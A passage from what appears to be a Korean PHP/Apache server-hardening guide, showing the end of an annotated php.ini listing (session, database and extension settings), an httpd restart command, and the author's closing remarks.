; Trailing blanks are stripped from fixed-length char columns. May help the
; life of Informix SE users.
ifx.charasvarchar = 0
; If on, the contents of text and byte blobs are dumped to a file instead of
; keeping them in memory.
ifx.blobinfile = 0
; NULL's are returned as empty strings, unless this is set to 1. In that case,
; NULL's are returned as string 'NULL'.
ifx.nullformat = 0
[Session]
; Handler used to store/retrieve data.
session.save_handler = files
; Argument passed to save_handler. In the case of files, this is the path
; where data files are stored. Note: Windows users have to change this
; variable in order to use PHP's session functions.
session.save_path = /tmp
; Whether to use cookies.
session.use_cookies = 1
; Name of the session (used as cookie name).
session.name = PHPSESSID
; Initialize session on request startup.
session.auto_start = 0
; Lifetime in seconds of cookie or, if 0, until browser is restarted.
session.cookie_lifetime = 0
; The path for which the cookie is valid.
session.cookie_path = /
; The domain for which the cookie is valid.
session.cookie_domain =
75
; Handler used to serialize data. php is the standard serializer of PHP.
session.serialize_handler = php
; Percentual probability that the 'garbage collection' process is started
; on every session initialization.
session.gc_probability = 1
; After this number of seconds, stored data will be seen as 'garbage' and
; cleaned up by the garbage collection process.
session.gc_maxlifetime = 1440
; Check HTTP Referer to invalidate externally stored URLs containing ids.
; HTTP_REFERER has to contain this substring for the session to be
; considered as valid.
session.referer_check =
; How many bytes to read from the file.
session.entropy_length = 0
; Specified here to create the session id.
session.entropy_file =
;session.entropy_length = 16
;session.entropy_file = /dev/urandom
; Set to {nocache,private,public} to determine HTTP caching aspects.
session.cache_limiter = nocache
; Document expires after n minutes.
session.cache_expire = 180
; use transient sid support if enabled by compiling with --enable-trans-sid.
session.use_trans_sid = 1
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
; Allow or prevent persistent links.
mssql.allow_persistent = On
; Maximum number of persistent links. -1 means no limit.
mssql.max_persistent = -1
; Maximum number of links (persistent+non persistent). -1 means no limit.
mssql.max_links = -1
; Minimum error severity to display.
76
mssql.min_error_severity = 10
; Minimum message severity to display.
mssql.min_message_severity = 10
; Compatability mode with old versions of PHP 3.0.
mssql.compatability_mode = Off
; Valid range 0 - 2147483647. Default = 4096.
;mssql.textlimit = 4096
; Valid range 0 - 2147483647. Default = 4096.
;mssql.textsize = 4096
; Limits the number of records in each batch. 0 = all records in one batch.
;mssql.batchsize = 0
[Assertion]
; Assert(expr); active by default.
;assert.active = On
; Issue a PHP warning for each failed assertion.
;assert.warning = On
; Don't bail out by default.
;assert.bail = Off
; User-function to be called if an assertion fails.
;assert.callback = 0
; Eval the expression with current error_reporting(). Set to true if you want
; error_reporting(0) around the eval().
;assert.quiet_eval = 0
[Ingres II]
; Allow or prevent persistent links.
ingres.allow_persistent = On
; Maximum number of persistent links. -1 means no limit.
ingres.max_persistent = -1
; Maximum number of links, including persistents. -1 means no limit.
ingres.max_links = -1
; Default database (format: [node_id::]dbname[/srv_class]).
ingres.default_database =
; Default user.
ingres.default_user =
77
; Default password.
ingres.default_password =
[Verisign Payflow Pro]
; Default Payflow Pro server.
pfpro.defaulthost = "test-payflow.verisign.com"
; Default port to connect to.
pfpro.defaultport = 443
; Default timeout in seconds.
pfpro.defaulttimeout = 30
; Default proxy IP address (if required).
;pfpro.proxyaddress =
; Default proxy port.
;pfpro.proxyport =
; Default proxy logon.
;pfpro.proxylogon =
; Default proxy password.
;pfpro.proxypassword =
[Sockets]
; Use the system read() function instead of the php_read() wrapper.
sockets.use_system_read = On
[com]
; path to a file containing GUIDs, IIDs or filenames of files with TypeLibs
;com.typelib_file =
; allow Distributed-COM calls
;com.allow_dcom = true
; autoregister constants of a components typlib on com_load()
;com.autoregister_typelib = true
; register constants casesensitive
;com.autoregister_casesensitive = false
; show warnings on duplicate constat registrations
;com.autoregister_verbose = true
[Printer]
;printer.default_printer = ""
[mbstring]
;mbstring.internal_encoding = EUC-JP
;mbstring.http_input = auto
;mbstring.http_output = SJIS
78
;mbstring.detect_order = auto
;mbstring.substitute_character = none;
[FrontBase]
;fbsql.allow_persistent = On
;fbsql.autocommit = On
;fbsql.default_database =
;fbsql.default_database_password =
;fbsql.default_host =
;fbsql.default_password =
;fbsql.default_user = "_SYSTEM"
;fbsql.generate_warnings = Off
;fbsql.max_connections = 128
;fbsql.max_links = 128
;fbsql.max_persistent = -1
;fbsql.max_results = 128
;fbsql.batchSize = 1000
; Local Variables:
; tab-width: 4
; End:
자, 이제 기본적인 설정이 끝났습니다. httpd.conf 파일과 php.ini 파일 설정이 끝나면 반드시 해주어야할 마
지막 작업 하나가 남아 있습니다. 그것은 httpd 데몬을 다시 시작하는 것입니다. 이 방법은 이미 앞에서도 언
급했지만 다시 한번 더 보여주도록 하겠습니다.
[root@localhost root]# /etc/rc.d/init.d/httpd restart
httpd 를 정지함: [ 확인 ]
httpd (을)를 시작합니다: [ 확인 ]
[root@localhost root]#
이제 모든 작업이 끝났습니다.
비교적 간단한 작업으로 큰 피해를 예방할 수 있습니다. 하루 넉넉하게 시간을 투자하시면 됩니다. 이 작은
문서가 우리나라의 보안을 위해 도움이 되길 바라며, 이 글을 마칩니다. 감사합니다.